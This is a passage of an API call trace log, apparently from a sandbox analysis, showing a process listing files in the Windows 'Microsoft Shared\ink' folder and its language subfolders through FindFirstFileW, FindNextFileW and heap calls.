Size=0x10000) returned 0x3735548 [0165.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0165.628] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0165.629] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0165.630] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.630] GetProcessHeap () returned 0x6a0000 [0165.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0165.630] GetProcessHeap () returned 0x6a0000 [0165.630] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.630] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.630] GetProcessHeap () returned 0x6a0000 [0165.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3735548 | out: hHeap=0x6a0000) returned 1 [0165.630] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0165.631] GetProcessHeap () returned 0x6a0000 [0165.631] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.853] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.853] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.853] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.853] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.853] GetProcessHeap () returned 0x6a0000 [0165.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.853] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0165.853] GetProcessHeap () returned 0x6a0000 [0165.853] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.854] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.854] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.854] GetProcessHeap () returned 0x6a0000 [0165.854] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, 